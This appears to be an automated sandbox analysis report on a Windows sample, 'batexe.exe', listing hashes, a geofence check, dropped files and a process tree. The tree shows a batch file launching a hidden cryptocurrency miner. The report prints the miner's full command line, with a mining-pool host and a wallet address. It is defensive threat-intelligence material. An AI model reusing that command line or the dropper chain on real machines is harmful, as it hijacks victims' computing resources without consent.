73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
305s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22/02/2024, 14:44

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1414748551-1520717498-2956787782-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1414748551-1520717498-2956787782-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1588	b2e.exe
3660	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3660	cpuminer-sse2.exe
3660	cpuminer-sse2.exe
3660	cpuminer-sse2.exe
3660	cpuminer-sse2.exe
3660	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4396-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4396 wrote to memory of 1588	4396	batexe.exe	87
PID 4396 wrote to memory of 1588	4396	batexe.exe	87
PID 4396 wrote to memory of 1588	4396	batexe.exe	87
PID 1588 wrote to memory of 5056	1588	b2e.exe	88
PID 1588 wrote to memory of 5056	1588	b2e.exe	88
PID 1588 wrote to memory of 5056	1588	b2e.exe	88
PID 5056 wrote to memory of 3660	5056	cmd.exe	91
PID 5056 wrote to memory of 3660	5056	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4396
- C:\Users\Admin\AppData\Local\Temp\9E72.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9E72.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9E72.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1588
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A558.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5056
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9E72.tmp\b2e.exe

Filesize
4.4MB

MD5
9b2a4bb1a3c9a77cde0b088709eb73ad

SHA1
fbe406209e546ee563ae5ed7aed0183ed2ed2a8d

SHA256
dc57351853f0f5e1b3c2dc9635aedba1e0faf86237d6da79b0c77afa73272caa

SHA512
5bc777ad17f4825e408bff69597299903c67c73a819631ba99ca31229fe745139aace3845cfbc40c78548bc6f155e76738ab65f8a77248856a74dc861c2970d2

Download Submit
C:\Users\Admin\AppData\Local\Temp\9E72.tmp\b2e.exe

Filesize
1.2MB

MD5
7b3805db6db875cca56c40c0b269b726

SHA1
4c0c85fcbb66f7793c050d2ab2428865c6776192

SHA256
d9fb4b56dc1c536a161fc2a5f4cc4890cdf6db399d50137a8c7054b11326f25b

SHA512
c45442ee36249d1ce0fc7c664ef5b545c20318b10d39aeeb22b39ac28068dbffd64593a574052fa7f646c635648e2a78a36ab87792523175b8219e7571683f2b

Download Submit
C:\Users\Admin\AppData\Local\Temp\9E72.tmp\b2e.exe

Filesize
1.2MB

MD5
7ade0d5cdd8abd773f16fc60152cfb23

SHA1
c4b899e22defcaf2e1c27cbb349120c9c0461802

SHA256
ad046d44441e283ea22e5188f579d1e5da73f610f60ac12fd6814adfbbc0544c

SHA512
23e452e5972f00932c0323a6f9e48cfda120ad3acfb067556e9c8c991c35490601994da42d9265276d8647b350d7a56463562ec55f3b68c658592156ecdf375d

Download Submit
C:\Users\Admin\AppData\Local\Temp\A558.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
548KB

MD5
e4a6d2224fc10456bf7fc2b2fee62045

SHA1
393132664ba38f305d024af68d62754126e74954

SHA256
3f9ed75df1938746bca20ac5905512870afe68d7e603ad8b1c5fd6730b22a3af

SHA512
22d2bc29c6468076384eef4f593095e407478996a60b3cb305907f9113ee4003dd7c110dc9d0a71e8db8715cd8801687fdf5b3244dc4cb5a7858607b3bdd6142

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
781KB

MD5
d63995ff99b693c9fbbab2404929d1c2

SHA1
a08df85567f1b764aa04a19bc47c0cf097ded3b0

SHA256
0c554332e755fc7bd5395f99ff8194d0f2f444add67e606c68844488142f7615

SHA512
f3e08c4874af60bd61f5287c2c6c4db78d28eb5ff170819e3443f8d2155131643d7af341608d98b522eb742228a18aba7b24cda346e402c810b5ee481f21376c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
369KB

MD5
2cf914e0f10b4bbe74f7e8a7667cbeec

SHA1
77f5e94e3d3198329de80905eceae68681956a69

SHA256
92bd19e1f2c2f51d63d956e2fa32b8f38759eecd47ffa63734bf9b584c2a3ffa

SHA512
a9ac6ed6dd50690a3040b02b8bfa7b2bfc8a562513abdd50fe0912ceb10cadb7cf65868aa4adda32f15d7dc4d6f64e795568ab3dc0e7a127fa0f83ac303b06f3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
690KB

MD5
0f2577e9e7ed6e9b81f7a80c8fb5670d

SHA1
eeeaeb20b4ea99fc2b412714d8ffce6140a07438

SHA256
86745ec5b89ad08e08997d44f226e9c954bd22d1497b29e7b1daefea7c9f8f87

SHA512
5bcf7ecd2e328914b4bf339091a355009c21493f0750c5fda76dceaa1ce773e53141a1aea90fcf056d1a86b5057f3b122322a9cfd875d7b69cc235a56a4daecd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
704KB

MD5
4acb381cc4f98fde7e00c433b4ce0163

SHA1
eeb11fcb16e337abe92ab9b28d5ee574d4ccf137

SHA256
205c7bb70cf6da6475fbeb0da9986b061dfdae547e054927ea95ee138c89c717

SHA512
feccc4a128bb5480bd8dc4fa620e13fd807a0a02813bfefa9b3a9ca77e4e672d2b3b4695c2c8cbc7b8ff681790898fbe17717377621938be7a0038ca6e0de4e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
593KB

MD5
8a4582dcb84df04c28bc05a3229b7074

SHA1
f4a9482bd31371fdd6cc8b2c3f590fab375a0f97

SHA256
8fecfe62d7e388807e5283a4a7ffa625f27130eb5e0b81a88b9ead5e5777013f

SHA512
003749f6b83ea2e7e3fa389f4aca8b71991b469e75dc197bdefb748e5971dfc583034a95a5cb0bf654890246a3245077b9aeca10425abb23f4e3b9547f5fd93b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
850KB

MD5
eddc406c769a8568bd7892695768952c

SHA1
214bd3ff6e91dd699d6c5701838066fdd53da514

SHA256
c9d823214dcb55157871d140c17b26b2af8b4ac75deef2e890b60d2e3bab81d1

SHA512
722e107fd82e8d257ce9eb14872d27f0716bb4c7d604803a24912ad0c1dc7f603c98013ba958fb889afd5d89dbf0d2119e2d57ef48875afa9bdfbc67d92d752a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
546KB

MD5
e638deb02c7d3214b9b68aa4c2cb7755

SHA1
6e5a5204fb6d13fbab5ba35c29b3a6e28455cf49

SHA256
db83978c3e7b3597db4f498ba3c62167d941db269c4a288f1db3de8c90a7ebb5

SHA512
91358403903149dacf9c5ba6ed6e3b60a8fffa627e8e82bbfacae3d89f17c2aa3f67cd0f8ba4b8208134ef545d6c7493df9eb7ad3aa7ed3f0498aa09c5af2f7b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
706KB

MD5
02ce8b74ceee76cb91d893a5559ed34d

SHA1
6beb65e66cd4387b3bacdd1d4e354e9d91d65c3d

SHA256
367e90aa7951d676efe26e4e725dcb43f22c26d625333b8d37dc0dce6820ff92

SHA512
3cc3890d15b238987d9479e8638d80cfbcf7a6b6bd157c72b016c7a7e9cf4e40c92d7c19f936ddfc302b9e9cebd360129f8c16f223fe16f487ab1fc5523606f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1588-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1588-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3660-47-0x0000000001130000-0x00000000029E5000-memory.dmp

Filesize
24.7MB

Download
memory/3660-46-0x0000000055A20000-0x0000000055AB8000-memory.dmp

Filesize
608KB

Download
memory/3660-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3660-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3660-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3660-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3660-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3660-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3660-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3660-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3660-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3660-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4396-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download